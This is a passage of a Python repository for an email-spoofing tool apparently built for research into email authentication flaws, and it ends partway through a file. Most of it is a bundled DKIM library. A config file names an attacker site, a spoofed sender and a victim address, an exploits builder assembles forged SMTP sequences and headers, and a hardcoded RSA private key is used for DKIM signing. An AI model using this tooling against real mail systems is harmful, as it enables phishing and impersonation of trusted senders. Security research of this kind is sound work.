├── common ├── __init__.py ├── common.py └── mail_sender.py ├── requirements.txt ├── images ├── list_caseid.png ├── gmail-spoofing-demo.png └── email-authentication-flow.png ├── papers └── composition-kills-USESEC20.pdf ├── dkim ├── __main__.py ├── dkimverify.py ├── arcverify.py ├── util.py ├── arcsign.py ├── dnsplug.py ├── dkimsign.py ├── asn1.py ├── dknewkey.py ├── canonicalization.py ├── crypto.py └── __init__.py ├── dkimkey ├── config.py ├── LICENSE ├── .gitignore ├── exploits_builder.py ├── espoofer.py ├── README.md └── testcases.py /common/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | colorama 2 | simplejson 3 | argparse 4 | dnspython 5 | -------------------------------------------------------------------------------- /images/list_caseid.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chenjj/espoofer/HEAD/images/list_caseid.png -------------------------------------------------------------------------------- /images/gmail-spoofing-demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chenjj/espoofer/HEAD/images/gmail-spoofing-demo.png -------------------------------------------------------------------------------- /images/email-authentication-flow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chenjj/espoofer/HEAD/images/email-authentication-flow.png -------------------------------------------------------------------------------- /papers/composition-kills-USESEC20.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chenjj/espoofer/HEAD/papers/composition-kills-USESEC20.pdf -------------------------------------------------------------------------------- /dkim/__main__.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import doctest 3 | import dkim 4 | from tests import test_suite 5 | 6 | doctest.testmod(dkim) 7 | unittest.TextTestRunner().run(test_suite()) 8 | -------------------------------------------------------------------------------- /dkimkey: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIICXQIBAAKBgQDNjwdrmp/gcbKLaGQfRZk+LJ6XOWuQXkAOa/lI1En4t4sLuWiK 3 | iL6hACqMrsKQ8XfgqN76mmx4CHWn2VqVewFh7QTvshGLywWwrAJZdQ4KTlfR/2Ew 4 | AlrItndijOfr2tpZRgP0nTY6saktkhQdwrk3U0SZmG7U8L9IPj7ZwPKGvQIDAQAB 5 | AoGAYO2byyKbVuNmFJSB+bkA3K9/jMF3thirTeGeJ7hqtQwfVcT0xbZbZWHFrpbN 6 | ijlClL4sfrEIisU6bY5xR2E8Mc8id5K/fmLF7GG4lx5hF/J7G8c6Pj3t4+NgTQoX 7 | drTAY8buFoSYI9fLYUVH/bkny2Y+4duInpK+fmtaP8QO2SUCQQD0ZtMPN97a2YhV 8 | DCqzYpvkMNX59Du8kUuDK1zdaFvSioJnKlyPEhl7/l3caR9eWEwyT7fG1Hc86qTc 9 | njIfHsFfAkEA11BPo4usJAT2+naAvk36Gk1vwyMQwGOSnL4DwqnLypZMbQd1bCrN 10 | kRiB4mhXOnUTvItG6b8yG+9WDTdsIC+hYwJAM8ito6XU5E3/IvYG/idAnKL0U5e6 11 | KIQomcxQSuFXw05xvuYs4muVVr5YqODlMppG2solSE2wTgnxkIU8XXeoxQJBAJVs 12 | FaiQ4KiqjV+p55Sp9rxUKxCIADMTpwaB04g/X7866NTtTS8A0WI1WMXv1UErSMQa 13 | /95tom/Ce7x2TuJTS7MCQQDHDz2cJZpWXeE3r+YR4uIbIIuv1FWsQEpg40w+V3AO 14 | dDwmwY3ZkJBIutMBAEpAblWK1vvR6g5R80c5H2tHl+X3 15 | -----END RSA PRIVATE KEY----- 16 | -------------------------------------------------------------------------------- /config.py: -------------------------------------------------------------------------------- 1 | config = { 2 | "attacker_site": b"attack.com", # attack.com 3 | "legitimate_site_address": b"admin@legitimate.com", # From header address displayed to the end-user 4 | "victim_address": b"victim@victim.com", # RCPT TO and message.To header address, 5 | "case_id": b"server_a1", # You can find all case_id using -l option. 6 | 7 | # The following fields are optional 8 | "server_mode":{ 9 | "recv_mail_server": "", # If no value, espoofer will query the victim_address to get the mail server ip 10 | "recv_mail_server_port": 25, 11 | "starttls": False, 12 | }, 13 | "client_mode": { 14 | "sending_server": ("smtp.gmail.com", 587), 15 | "username": b"attacker@gmail.com", 16 | "password": b"", 17 | }, 18 | 19 | # Optional. You can leave them empty or customize the email message header or body here 20 | "subject_header": b"", # Subject: Test espoofer\r\n 21 | "to_header": b"", # To: \r\n 22 | "body": b"", # Test Body. 23 | 24 | # Optional. Set the raw email message you want to sent. It's usually used for replay attacks 25 | "raw_email": b"", 26 | } 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Jianjun Chen 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | db.sqlite3 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | -------------------------------------------------------------------------------- /dkim/dkimverify.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # This software is provided 'as-is', without any express or implied 4 | # warranty. In no event will the author be held liable for any damages 5 | # arising from the use of this software. 6 | # 7 | # Permission is granted to anyone to use this software for any purpose, 8 | # including commercial applications, and to alter it and redistribute it 9 | # freely, subject to the following restrictions: 10 | # 11 | # 1. The origin of this software must not be misrepresented; you must not 12 | # claim that you wrote the original software. If you use this software 13 | # in a product, an acknowledgment in the product documentation would be 14 | # appreciated but is not required. 15 | # 2. Altered source versions must be plainly marked as such, and must not be 16 | # misrepresented as being the original software. 17 | # 3. This notice may not be removed or altered from any source distribution. 18 | # 19 | # Copyright (c) 2008 Greg Hewgill http://hewgill.com 20 | # 21 | # This has been modified from the original software. 22 | # Copyright (c) 2011 William Grant 23 | 24 | from __future__ import print_function 25 | 26 | import sys 27 | 28 | import dkim 29 | 30 | 31 | def main(): 32 | if sys.version_info[0] >= 3: 33 | # Make sys.stdin a binary stream. 34 | sys.stdin = sys.stdin.detach() 35 | 36 | message = sys.stdin.read() 37 | verbose = '-v' in sys.argv 38 | if verbose: 39 | import logging 40 | d = dkim.DKIM(message, logger=logging) 41 | res = d.verify() 42 | else: 43 | res = dkim.verify(message) 44 | if not res: 45 | print("signature verification failed") 46 | sys.exit(1) 47 | print("signature ok") 48 | 49 | 50 | if __name__ == "__main__": 51 | main() 52 | -------------------------------------------------------------------------------- /common/common.py: -------------------------------------------------------------------------------- 1 | import dkim 2 | 3 | 4 | def bs64encode(value): 5 | import base64 6 | return b"=?utf-8?B?"+ base64.b64encode(value) + b"?=" 7 | 8 | def quoted_printable(value): 9 | import quopri 10 | return b"=?utf-8?Q?"+ quopri.encodestring(value) + b"?=" 11 | 12 | def id_generator(size=6): 13 | import random 14 | import string 15 | chars=string.ascii_uppercase + string.digits 16 | return (''.join(random.choice(chars) for _ in range(size))).encode("utf-8") 17 | 18 | def get_date(): 19 | from time import gmtime, strftime 20 | mdate= strftime("%a, %d %b %Y %H:%M:%S +0000", gmtime()) 21 | return (mdate).encode("utf-8") 22 | 23 | def query_mx_record(domain): 24 | import dns.resolver 25 | try: 26 | mx_answers = dns.resolver.query(domain, 'MX') 27 | for rdata in mx_answers: 28 | a_answers = dns.resolver.query(rdata.exchange, 'A') 29 | for data in a_answers: 30 | return str(data) 31 | except Exception as e: 32 | import traceback 33 | traceback.print_exc() 34 | 35 | def get_mail_server_from_email_address(e): 36 | domain = e.split(b"@")[1] 37 | return query_mx_record(domain.decode("utf-8")) 38 | 39 | def recursive_fixup(input, old, new): 40 | if isinstance(input, dict): 41 | items = list(input.items()) 42 | elif isinstance(input, (list, tuple)): 43 | items = enumerate(input) 44 | else: 45 | return input.replace(old, new) 46 | 47 | # now call ourself for every value and replace in the input 48 | for key, value in items: 49 | input[key] = recursive_fixup(value, old, new) 50 | return input 51 | 52 | 53 | def generate_dkim_header(dkim_msg, dkim_para): 54 | d = dkim.DKIM(dkim_msg) 55 | dkim_header = d.sign(dkim_para["s"], dkim_para["d"], open("dkimkey","rb").read(), canonicalize=(b'simple',b'relaxed'), include_headers=[b"from"]).strip()+b"\r\n" 56 | return dkim_header 57 | -------------------------------------------------------------------------------- /dkim/arcverify.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # This software is provided 'as-is', without any express or implied 4 | # warranty. In no event will the author be held liable for any damages 5 | # arising from the use of this software. 6 | # 7 | # Permission is granted to anyone to use this software for any purpose, 8 | # including commercial applications, and to alter it and redistribute it 9 | # freely, subject to the following restrictions: 10 | # 11 | # 1. The origin of this software must not be misrepresented; you must not 12 | # claim that you wrote the original software. If you use this software 13 | # in a product, an acknowledgment in the product documentation would be 14 | # appreciated but is not required. 15 | # 2. Altered source versions must be plainly marked as such, and must not be 16 | # misrepresented as being the original software. 17 | # 3. This notice may not be removed or altered from any source distribution. 18 | # 19 | # Copyright (c) 2008 Greg Hewgill http://hewgill.com 20 | # 21 | # This has been modified from the original software. 22 | # Copyright (c) 2011 William Grant 23 | # 24 | # This has been modified from the original software. 25 | # Copyright (c) 2016 Google, Inc. 26 | # Contact: Brandon Long 27 | 28 | from __future__ import print_function 29 | 30 | import logging 31 | import sys 32 | 33 | import dkim 34 | 35 | 36 | def main(): 37 | if sys.version_info[0] >= 3: 38 | # Make sys.stdin a binary stream. 39 | sys.stdin = sys.stdin.detach() 40 | 41 | message = sys.stdin.read() 42 | verbose = '-v' in sys.argv 43 | if verbose: 44 | logging.basicConfig(level=10) 45 | a = dkim.ARC(message) 46 | cv, results, comment = a.verify() 47 | else: 48 | cv, results, comment = dkim.arc_verify(message) 49 | 50 | print("arc verification: cv=%s %s" % (cv, comment)) 51 | if verbose: 52 | print(repr(results)) 53 | 54 | 55 | if __name__ == "__main__": 56 | main() 57 | -------------------------------------------------------------------------------- /exploits_builder.py: -------------------------------------------------------------------------------- 1 | from common.common import * 2 | 3 | class ExploitsBuilder(object): 4 | 5 | def __init__(self, test_cases, config): 6 | self.config = config 7 | self.case_id = config['case_id'].decode("utf-8") 8 | self.mode = config['mode'] 9 | self.test_cases = self.fixup_test_case_data(test_cases) 10 | 11 | 12 | def fixup_test_case_data(self, t): 13 | if self.config['mode'] == 'c': 14 | t = recursive_fixup(t, b"attacker@example.com", self.config["client_mode"]["username"]) 15 | t = recursive_fixup(t, b"admin@example.com", self.config["legitimate_site_address"]) 16 | t= recursive_fixup(t, b"victim@victim.com", self.config["victim_address"]) 17 | else: 18 | t = recursive_fixup(t, b"attack.com", self.config["attacker_site"]) 19 | t = recursive_fixup(t, b"admin@legitimate.com", self.config["legitimate_site_address"]) 20 | legitimate_site = self.config["legitimate_site_address"].split(b"@")[1] 21 | t = recursive_fixup(t, b"legitimate.com", legitimate_site) 22 | t= recursive_fixup(t, b"victim@victim.com", self.config["victim_address"]) 23 | 24 | if self.config['subject_header']: 25 | t[self.case_id]['data']['subject_header'] = self.config['subject_header'] 26 | if self.config['to_header']: 27 | t[self.case_id]['data']['to_header'] = self.config['to_header'] 28 | if self.config['body']: 29 | t[self.case_id]['data']['body'] =self.config['body'] 30 | 31 | return t 32 | 33 | def generate_msg_data(self): 34 | test_cases = self.test_cases 35 | case_id = self.case_id 36 | msg_content = test_cases[case_id]["data"] 37 | dkim_para = test_cases[case_id].get("dkim_para") 38 | if dkim_para != None: 39 | dkim_msg = dkim_para["sign_header"] +b"\r\n\r\n" + msg_content["body"] 40 | dkim_header = generate_dkim_header(dkim_msg, dkim_para) 41 | msg = msg_content["from_header"] + dkim_header + msg_content["to_header"] + msg_content["subject_header"] + msg_content["other_headers"] + msg_content["body"] 42 | else: 43 | msg = msg_content["from_header"] + msg_content["to_header"] + msg_content["subject_header"] + msg_content["other_headers"] + msg_content["body"] 44 | return msg 45 | 46 | def generate_smtp_seqs(self): 47 | test_cases = self.test_cases 48 | case_id = self.case_id 49 | 50 | smtp_seqs = { 51 | "helo": test_cases[case_id]["helo"], 52 | "mailfrom": test_cases[case_id]["mailfrom"], 53 | "rcptto": test_cases[case_id]["rcptto"], 54 | "msg_content": self.generate_msg_data() 55 | } 56 | return smtp_seqs 57 | -------------------------------------------------------------------------------- /dkim/util.py: -------------------------------------------------------------------------------- 1 | # This software is provided 'as-is', without any express or implied 2 | # warranty. In no event will the author be held liable for any damages 3 | # arising from the use of this software. 4 | # 5 | # Permission is granted to anyone to use this software for any purpose, 6 | # including commercial applications, and to alter it and redistribute it 7 | # freely, subject to the following restrictions: 8 | # 9 | # 1. The origin of this software must not be misrepresented; you must not 10 | # claim that you wrote the original software. If you use this software 11 | # in a product, an acknowledgment in the product documentation would be 12 | # appreciated but is not required. 13 | # 2. Altered source versions must be plainly marked as such, and must not be 14 | # misrepresented as being the original software. 15 | # 3. This notice may not be removed or altered from any source distribution. 16 | # 17 | # Copyright (c) 2011 William Grant 18 | 19 | import re 20 | 21 | import logging 22 | try: 23 | from logging import NullHandler 24 | except ImportError: 25 | class NullHandler(logging.Handler): 26 | def emit(self, record): 27 | pass 28 | 29 | 30 | __all__ = [ 31 | 'DuplicateTag', 32 | 'get_default_logger', 33 | 'InvalidTagSpec', 34 | 'InvalidTagValueList', 35 | 'parse_tag_value', 36 | 'get_linesep', 37 | ] 38 | 39 | 40 | class InvalidTagValueList(Exception): 41 | pass 42 | 43 | 44 | class DuplicateTag(InvalidTagValueList): 45 | pass 46 | 47 | 48 | class InvalidTagSpec(InvalidTagValueList): 49 | pass 50 | 51 | 52 | def parse_tag_value(tag_list): 53 | """Parse a DKIM Tag=Value list. 54 | 55 | Interprets the syntax specified by RFC6376 section 3.2. 56 | Assumes that folding whitespace is already unfolded. 57 | 58 | @param tag_list: A bytes string containing a DKIM Tag=Value list. 59 | """ 60 | tags = {} 61 | tag_specs = tag_list.strip().split(b';') 62 | # Trailing semicolons are valid. 63 | if not tag_specs[-1]: 64 | tag_specs.pop() 65 | for tag_spec in tag_specs: 66 | try: 67 | key, value = [x.strip() for x in tag_spec.split(b'=', 1)] 68 | except ValueError: 69 | raise InvalidTagSpec(tag_spec) 70 | if re.match(br'^[a-zA-Z](\w)*', key) is None: 71 | raise InvalidTagSpec(tag_spec) 72 | if key in tags: 73 | raise DuplicateTag(key) 74 | tags[key] = value 75 | return tags 76 | 77 | 78 | def get_default_logger(): 79 | """Get the default dkimpy logger.""" 80 | logger = logging.getLogger('dkimpy') 81 | if not logger.handlers: 82 | logger.addHandler(NullHandler()) 83 | return logger 84 | 85 | def get_linesep(msg): 86 | if msg[-2:] != b'\r\n' and msg[-1:] == b'\n': 87 | return b'\n' 88 | return b'\r\n' 89 | -------------------------------------------------------------------------------- /dkim/arcsign.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # This software is provided 'as-is', without any express or implied 4 | # warranty. In no event will the author be held liable for any damages 5 | # arising from the use of this software. 6 | # 7 | # Permission is granted to anyone to use this software for any purpose, 8 | # including commercial applications, and to alter it and redistribute it 9 | # freely, subject to the following restrictions: 10 | # 11 | # 1. The origin of this software must not be misrepresented; you must not 12 | # claim that you wrote the original software. If you use this software 13 | # in a product, an acknowledgment in the product documentation would be 14 | # appreciated but is not required. 15 | # 2. Altered source versions must be plainly marked as such, and must not be 16 | # misrepresented as being the original software. 17 | # 3. This notice may not be removed or altered from any source distribution. 18 | # 19 | # Copyright (c) 2008 Greg Hewgill http://hewgill.com 20 | # 21 | # This has been modified from the original software. 22 | # Copyright (c) 2011 William Grant 23 | # 24 | # This has been modified from the original software. 25 | # Copyright (c) 2016 Google, Inc. 26 | # Contact: Brandon Long 27 | # This has been modified from the original software. 28 | # Copyright (c) 2017, 2018, 2019 Scott Kitterman 29 | # 30 | # This has been modified from the original software. 31 | # Copyright (c) 2017 Valimail Inc 32 | # Contact: Gene Shuman 33 | 34 | 35 | from __future__ import print_function 36 | 37 | import logging 38 | import re 39 | import sys 40 | 41 | import dkim 42 | 43 | logging.basicConfig(level=10) 44 | 45 | 46 | def main(): 47 | if len(sys.argv) != 5: 48 | print("Usage: arcsign.py selector domain privatekeyfile srv_id", file=sys.stderr) 49 | sys.exit(1) 50 | 51 | if sys.version_info[0] >= 3: 52 | # Make sys.stdin and stdout binary streams. 53 | sys.stdin = sys.stdin.detach() 54 | sys.stdout = sys.stdout.detach() 55 | 56 | selector = sys.argv[1].encode('ascii') 57 | domain = sys.argv[2].encode('ascii') 58 | privatekeyfile = sys.argv[3] 59 | srv_id = sys.argv[4].encode('ascii') 60 | 61 | message = sys.stdin.read() 62 | 63 | # Pick a cv status 64 | cv = dkim.CV_None 65 | if re.search(b'arc-seal', message, re.IGNORECASE): 66 | cv = dkim.CV_Pass 67 | 68 | #try: 69 | sig = dkim.arc_sign(message, selector, domain, open(privatekeyfile, "rb").read(), 70 | srv_id, cv, linesep=dkim.util.get_linesep(message)) 71 | for line in sig: 72 | sys.stdout.write(line) 73 | sys.stdout.write(message) 74 | #except Exception as e: 75 | # print(e, file=sys.stderr) 76 | #sys.stdout.write(message) 77 | 78 | 79 | if __name__ == "__main__": 80 | main() 81 | -------------------------------------------------------------------------------- /dkim/dnsplug.py: -------------------------------------------------------------------------------- 1 | # This software is provided 'as-is', without any express or implied 2 | # warranty. In no event will the author be held liable for any damages 3 | # arising from the use of this software. 4 | # 5 | # Permission is granted to anyone to use this software for any purpose, 6 | # including commercial applications, and to alter it and redistribute it 7 | # freely, subject to the following restrictions: 8 | # 9 | # 1. The origin of this software must not be misrepresented; you must not 10 | # claim that you wrote the original software. If you use this software 11 | # in a product, an acknowledgment in the product documentation would be 12 | # appreciated but is not required. 13 | # 2. Altered source versions must be plainly marked as such, and must not be 14 | # misrepresented as being the original software. 15 | # 3. This notice may not be removed or altered from any source distribution. 16 | # 17 | # Copyright (c) 2008 Greg Hewgill http://hewgill.com 18 | # 19 | # This has been modified from the original software. 20 | # Copyright (c) 2011 William Grant 21 | 22 | 23 | __all__ = [ 24 | 'get_txt' 25 | ] 26 | 27 | 28 | def get_txt_dnspython(name): 29 | """Return a TXT record associated with a DNS name.""" 30 | try: 31 | a = dns.resolver.query(name, dns.rdatatype.TXT,raise_on_no_answer=False) 32 | for r in a.response.answer: 33 | if r.rdtype == dns.rdatatype.TXT: 34 | return b"".join(r.items[0].strings) 35 | except dns.resolver.NXDOMAIN: pass 36 | return None 37 | 38 | 39 | def get_txt_pydns(name): 40 | """Return a TXT record associated with a DNS name.""" 41 | # Older pydns releases don't like a trailing dot. 42 | if name.endswith('.'): 43 | name = name[:-1] 44 | response = DNS.DnsRequest(name, qtype='txt').req() 45 | if not response.answers: 46 | return None 47 | return b''.join(response.answers[0]['data']) 48 | 49 | 50 | def get_txt_Milter_dns(name): 51 | """Return a TXT record associated with a DNS name.""" 52 | # Older pydns releases don't like a trailing dot. 53 | if name.endswith('.'): 54 | name = name[:-1] 55 | sess = Session() 56 | a = sess.dns(name.encode('idna'),'TXT') 57 | if a: return b''.join(a[0]) 58 | return None 59 | 60 | 61 | # Prefer dnspython if it's there, otherwise use pydns. 62 | try: 63 | import dns.resolver 64 | _get_txt = get_txt_dnspython 65 | except ImportError: 66 | try: 67 | from Milter.dns import Session 68 | _get_txt = get_txt_Milter_dns 69 | except ImportError: 70 | import DNS 71 | DNS.DiscoverNameServers() 72 | _get_txt = get_txt_pydns 73 | 74 | 75 | def get_txt(name): 76 | """Return a TXT record associated with a DNS name. 77 | 78 | @param name: The bytestring domain name to look up. 79 | """ 80 | # pydns needs Unicode, but DKIM's d= is ASCII (already punycoded). 81 | try: 82 | unicode_name = name.decode('UTF-8') 83 | except UnicodeDecodeError: 84 | return None 85 | txt = _get_txt(unicode_name) 86 | if type(txt) is str: 87 | txt = txt.encode('utf-8') 88 | return txt 89 | -------------------------------------------------------------------------------- /dkim/dkimsign.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # This software is provided 'as-is', without any express or implied 4 | # warranty. In no event will the author be held liable for any damages 5 | # arising from the use of this software. 6 | # 7 | # Permission is granted to anyone to use this software for any purpose, 8 | # including commercial applications, and to alter it and redistribute it 9 | # freely, subject to the following restrictions: 10 | # 11 | # 1. The origin of this software must not be misrepresented; you must not 12 | # claim that you wrote the original software. If you use this software 13 | # in a product, an acknowledgment in the product documentation would be 14 | # appreciated but is not required. 15 | # 2. Altered source versions must be plainly marked as such, and must not be 16 | # misrepresented as being the original software. 17 | # 3. This notice may not be removed or altered from any source distribution. 18 | # 19 | # Copyright (c) 2008 Greg Hewgill http://hewgill.com 20 | # 21 | # This has been modified from the original software. 22 | # Copyright (c) 2011 William Grant 23 | # Copyright (c) 2017 Scott Kitterman 24 | 25 | from __future__ import print_function 26 | 27 | import sys 28 | import argparse 29 | 30 | import dkim 31 | 32 | 33 | def main(): 34 | # Backward compatibility hack because argparse doesn't support optional 35 | # positional arguments 36 | arguments=['--'+arg if arg[:8] == 'identity' else arg for arg in sys.argv[1:]] 37 | parser = argparse.ArgumentParser( 38 | description='Produce DKIM signature for email messages.', 39 | epilog="message to be signed follows commands on stdin") 40 | parser.add_argument('selector', action="store") 41 | parser.add_argument('domain', action="store") 42 | parser.add_argument('privatekeyfile', action="store") 43 | parser.add_argument('--hcanon', choices=['simple', 'relaxed'], 44 | default='relaxed', 45 | help='Header canonicalization algorithm: default=relaxed') 46 | parser.add_argument('--bcanon', choices=['simple', 'relaxed'], 47 | default='simple', 48 | help='Body canonicalization algorithm: default=simple') 49 | parser.add_argument('--signalg', choices=['rsa-sha256', 'ed25519-sha256', 'rsa-sha1'], 50 | default='rsa-sha256', 51 | help='Signature algorithm: default=rsa-sha256') 52 | parser.add_argument('--identity', help='Optional value for i= tag.') 53 | args=parser.parse_args(arguments) 54 | include_headers = None 55 | length = None 56 | logger = None 57 | 58 | if sys.version_info[0] >= 3: 59 | args.selector = bytes(args.selector, encoding='UTF-8') 60 | args.domain = bytes(args.domain, encoding='UTF-8') 61 | if args.identity is not None: 62 | args.identity = bytes(args.identity, encoding='UTF-8') 63 | args.hcanon = bytes(args.hcanon, encoding='UTF-8') 64 | args.bcanon = bytes(args.bcanon, encoding='UTF-8') 65 | args.signalg = bytes(args.signalg, encoding='UTF-8') 66 | # Make sys.stdin and stdout binary streams. 67 | sys.stdin = sys.stdin.detach() 68 | sys.stdout = sys.stdout.detach() 69 | canonicalize = (args.hcanon, args.bcanon) 70 | 71 | message = sys.stdin.read() 72 | try: 73 | d = dkim.DKIM(message,logger=logger, signature_algorithm=args.signalg, 74 | linesep=dkim.util.get_linesep(message)) 75 | sig = d.sign(args.selector, args.domain, open( 76 | args.privatekeyfile, "rb").read(), identity = args.identity, 77 | canonicalize=canonicalize, include_headers=include_headers, 78 | length=length) 79 | sys.stdout.write(sig) 80 | sys.stdout.write(message) 81 | except Exception as e: 82 | print(e, file=sys.stderr) 83 | sys.stdout.write(message) 84 | 85 | 86 | if __name__ == "__main__": 87 | main() 88 | -------------------------------------------------------------------------------- /dkim/asn1.py: -------------------------------------------------------------------------------- 1 | # This software is provided 'as-is', without any express or implied 2 | # warranty. In no event will the author be held liable for any damages 3 | # arising from the use of this software. 4 | # 5 | # Permission is granted to anyone to use this software for any purpose, 6 | # including commercial applications, and to alter it and redistribute it 7 | # freely, subject to the following restrictions: 8 | # 9 | # 1. The origin of this software must not be misrepresented; you must not 10 | # claim that you wrote the original software. If you use this software 11 | # in a product, an acknowledgment in the product documentation would be 12 | # appreciated but is not required. 13 | # 2. Altered source versions must be plainly marked as such, and must not be 14 | # misrepresented as being the original software. 15 | # 3. This notice may not be removed or altered from any source distribution. 16 | # 17 | # Copyright (c) 2008 Greg Hewgill http://hewgill.com 18 | # 19 | # This has been modified from the original software. 20 | # Copyright (c) 2011 William Grant 21 | 22 | __all__ = [ 23 | 'asn1_build', 24 | 'asn1_parse', 25 | 'ASN1FormatError', 26 | 'BIT_STRING', 27 | 'INTEGER', 28 | 'SEQUENCE', 29 | 'OBJECT_IDENTIFIER', 30 | 'OCTET_STRING', 31 | 'NULL', 32 | ] 33 | 34 | INTEGER = 0x02 35 | BIT_STRING = 0x03 36 | OCTET_STRING = 0x04 37 | NULL = 0x05 38 | OBJECT_IDENTIFIER = 0x06 39 | SEQUENCE = 0x30 40 | 41 | 42 | class ASN1FormatError(Exception): 43 | pass 44 | 45 | 46 | def asn1_parse(template, data): 47 | """Parse a data structure according to an ASN.1 template. 48 | 49 | @param template: tuples comprising the ASN.1 template 50 | @param data: byte string data to parse 51 | @return: decoded structure 52 | """ 53 | data = bytearray(data) 54 | r = [] 55 | i = 0 56 | try: 57 | for t in template: 58 | tag = data[i] 59 | i += 1 60 | if tag == t[0]: 61 | length = data[i] 62 | i += 1 63 | if length & 0x80: 64 | n = length & 0x7f 65 | length = 0 66 | for j in range(n): 67 | length = (length << 8) | data[i] 68 | i += 1 69 | if tag == INTEGER: 70 | n = 0 71 | for j in range(length): 72 | n = (n << 8) | data[i] 73 | i += 1 74 | r.append(n) 75 | elif tag == BIT_STRING: 76 | r.append(data[i:i+length]) 77 | i += length 78 | elif tag == NULL: 79 | assert length == 0 80 | r.append(None) 81 | elif tag == OBJECT_IDENTIFIER: 82 | r.append(data[i:i+length]) 83 | i += length 84 | elif tag == SEQUENCE: 85 | r.append(asn1_parse(t[1], data[i:i+length])) 86 | i += length 87 | else: 88 | raise ASN1FormatError( 89 | "Unexpected tag in template: %02x" % tag) 90 | else: 91 | raise ASN1FormatError( 92 | "Unexpected tag (got %02x, expecting %02x)" % (tag, t[0])) 93 | return r 94 | except IndexError: 95 | raise ASN1FormatError("Data truncated at byte %d"%i) 96 | 97 | 98 | def asn1_length(n): 99 | """Return a string representing a field length in ASN.1 format. 100 | 101 | @param n: integer field length 102 | @return: ASN.1 field length 103 | """ 104 | assert n >= 0 105 | if n < 0x7f: 106 | return bytearray([n]) 107 | r = bytearray() 108 | while n > 0: 109 | r.insert(n & 0xff) 110 | n >>= 8 111 | return r 112 | 113 | 114 | def asn1_encode(type, data): 115 | length = asn1_length(len(data)) 116 | length.insert(0, type) 117 | length.extend(data) 118 | return length 119 | 120 | 121 | def asn1_build(node): 122 | """Build a DER-encoded ASN.1 data structure. 123 | 124 | @param node: (type, data) tuples comprising the ASN.1 structure 125 | @return: DER-encoded ASN.1 byte string 126 | """ 127 | if node[0] == OCTET_STRING: 128 | return asn1_encode(OCTET_STRING, node[1]) 129 | if node[0] == NULL: 130 | assert node[1] is None 131 | return asn1_encode(NULL, b'') 132 | elif node[0] == OBJECT_IDENTIFIER: 133 | return asn1_encode(OBJECT_IDENTIFIER, node[1]) 134 | elif node[0] == SEQUENCE: 135 | r = bytearray() 136 | for x in node[1]: 137 | r += asn1_build(x) 138 | return asn1_encode(SEQUENCE, r) 139 | else: 140 | raise ASN1FormatError("Unexpected tag in template: %02x" % node[0]) 141 | -------------------------------------------------------------------------------- /dkim/dknewkey.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # This software is provided 'as-is', without any express or implied 3 | # warranty. In no event will the author be held liable for any damages 4 | # arising from the use of this software. 5 